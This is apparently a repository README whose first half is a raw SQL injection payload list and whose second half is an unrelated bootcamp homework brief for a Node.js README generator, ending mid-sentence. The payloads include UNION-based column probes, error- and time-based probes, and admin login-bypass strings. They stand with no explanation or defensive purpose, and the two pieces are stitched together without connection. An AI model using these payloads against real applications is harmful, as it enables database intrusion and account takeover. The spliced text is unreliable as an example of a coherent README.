@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT NULL-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))-- UNION ALL SELECT NULL# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))# UNION ALL SELECT NULL AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113))) AND 5650=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (5650=5650) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113))) AND 3516=CAST((CHR(113)||CHR(106)||CHR(122)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (3516=3516) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(106)||CHR(107)||CHR(113)) AS NUMERIC) AND (SELECT 4523 FROM(SELECT COUNT(*),CONCAT(0x716a7a6a71,(SELECT (ELT(4523=4523,1))),0x71706a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) UNION ALL SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(106)+CHAR(113)+CHAR(110)+CHAR(106)+CHAR(99)+CHAR(73)+CHAR(66)+CHAR(109)+CHAR(119)+CHAR(81)+CHAR(108)+CHAR(88)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113),NULL-- UNION ALL SELECT 'INJ'||'ECT'||'XXX' UNION ALL SELECT 'INJ'||'ECT'||'XXX',2 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 UNION ALL SELECT 'INJ'||'ECT'||'XXX'-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- UNION ALL SELECT 'INJ'||'ECT'||'XXX'# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25# '-' ' ' '&' '^' '*' ' or ''-' ' or '' ' ' or ''&' ' or ''^' ' or ''*' "-" " " "&" "^" "*" " or ""-" " or "" " " or ""&" " or ""^" " or ""*" or true-- " or true-- ' or true-- ") or true-- ') or true-- ' or 'x'='x ') or ('x')=('x ')) or (('x'))=(('x " or "x"="x ") or ("x")=("x ")) or (("x"))=(("x or 1=1 or 1=1-- or 1=1# or 1=1/* admin' -- admin' # admin'/* admin' or '1'='1 admin' or '1'='1'-- admin' or '1'='1'# admin' or '1'='1'/* admin'or 1=1 or ''=' admin' or 1=1 admin' or 1=1-- admin' or 1=1# admin' or 1=1/* admin') or ('1'='1 admin') or ('1'='1'-- admin') or ('1'='1'# admin') or ('1'='1'/* admin') or '1'='1 admin') or '1'='1'-- admin') or '1'='1'# admin') or '1'='1'/* 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055 admin" -- admin" # admin"/* admin" or "1"="1 admin" or "1"="1"-- admin" or "1"="1"# admin" or "1"="1"/* admin"or 1=1 or ""=" admin" or 1=1 admin" or 1=1-- admin" or 1=1# admin" or 1=1/* admin") or ("1"="1 admin") or ("1"="1"-- admin") or ("1"="1"# admin") or ("1"="1"/* admin") or "1"="1 admin") or "1"="1"-- admin") or "1"="1"# admin") or "1"="1"/* 1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
StevenSJones
# Unit 09 Node.js and ES6+ Homework: Good README Generator When creating an open source project on GitHub, it is important to have a quality README with information about the app--what is the app for, how to use the app, how to install it, how to report issues, and how to make contributions so that other developers are more likely to use and contribute to the success of the project. A command-line application will allow for quick and easy generation of a project README to get started quickly. This will allow a project creator to spend more time working on finishing the project and less time creating a good README. Your task is to create a command-line application that dynamically generates a professional README.md from a user's input using the [Inquirer package](https://www.npmjs.com/package/inquirer). Review the [Good README guide](../../01-HTML-Git-CSS/04-Supplemental/Good-README-Guide/README.md) as a reminder of everything that a quality, professional README contains. The application will be invoked with the following command: ``` node index.js ``` Because this is a command-line application that won’t be deployed, you’ll also need to provide a link to a walkthrough video that demonstrates the functionality of your application. Revisit the Screencastify Tutorial in the prework as a refresher on how to record video from your computer. ## User Story ``` AS A developer I WANT a README generator SO THAT can quickly create a professional README for a new project ``` ## Acceptance Criteria ```md GIVEN a command-line application that accepts user input WHEN I am prompted for information about my application repository THEN a quality, professional README.md is generated with the title of your project and sections entitled Description, Table of Contents, Installation, Usage, License, Contributing, Tests, and Questions WHEN I enter my project title THEN this is displayed as the title of the README WHEN I enter a description, installation instructions, usage information, contribution guidelines, and test instructions THEN this information is added to the sections of the README entitled Description, Installation, Usage, Contributing, and Tests WHEN I choose a license for my application from a list of options THEN a badge for that license is added hear the top of the README and a notice is added to the section of the README entitled License that explains which license the application is covered under WHEN I enter my GitHub username THEN this is added to the section of the README entitled Questions, with a link to my GitHub profile WHEN I enter my email address THEN this is added to the section of the README entitled Questions, with instructions on how to reach me with additional questions WHEN I click on the links in the Table of Contents THEN I am taken to the corresponding section of the README ``` ## Minimum Application Requirements * Meets [Submission Requirements](#submission-requirements) in the following section. * Functional application. * GitHub repository with a unique name and a README describing project. * The generated README includes the following sections: * Title * Description * Table of Contents * Installation * Usage * License * Contributing * Tests * Questions * The generated README includes 1 badge that's specific to the repository. ## Submission Requirements Because this is a CLI App, there will be no need to deploy it to Heroku. This time, though, you need to include a video showing us that you got the app working with no bugs. You should include a link to the video in your application's `README.md` file. * Create a `.gitignore` file and include `node_modules/` and `.DS_Store/`. * `node_modules` is not tracked and uploaded to GitHub. (Hint: It is easy if you create your `.gitignore` file before installing dependencies with npm.) * Repo **MUST** include `package.json` with required dependencies. (Hint: Run `npm init` when you first setup the project before installing any dependencies.) * Include a video of the typical user flow through your application. This includes views of the prompts and the responses after their selection. * Include any other screenshots you deem necessary to help someone who has never been introduced to your application understand the purpose and function of it. This is how you will communicate to potential employers/other developers in the future what you built and why, and to show how it works. * Because screenshots (and well-written READMEs) are extremely important in the context of GitHub, this will be part of the grading. ## Commit Early and Often One of the most important skills to master as a web developer is version control. Building the habit of committing via Git is important for two reasons: * Your commit history is a signal to employers that you are actively working on projects and learning new skills. * Your commit history 